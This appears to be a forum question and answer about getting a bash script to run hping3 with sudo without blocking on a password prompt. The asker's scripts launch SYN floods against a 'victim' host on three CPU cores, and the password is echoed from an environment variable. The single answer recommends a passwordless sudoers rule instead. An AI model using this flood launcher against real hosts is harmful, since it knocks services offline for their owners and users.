0

I have a script (A.sh) which runs another script (B.sh), in which I need a root password to launch a command.

A.sh:

#!/bin/bash
script=./hping.sh
taskset -c 0 $script > ./test.txt &
taskset -c 1 $script > ./test.txt &
taskset -c 2 $script > ./test.txt &

B.sh (hping.sh)

#!/bin/bash
victim=$1
echo $sudoPW | sudo hping3 -i eth0 -d 128 -S --flood $victim

The problem is that when A.sh tries to run B.sh, it asks for a root password, and then it stops, it can't get the password from the console.

How can I solve this?

  • 1
    Do you want sudo to get the password from the console in the first place? echo $sudoPW suggests maybe you don't. Relevant: this and this. – Kamil Maciorowski Feb 28 at 17:50
0

It's not recommended to set the sudo password in environment variable. Other may get access to the password. Instead you can modify sudoer's file which will allow passwordless sudo for certain commands. 'hping3' in this case.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.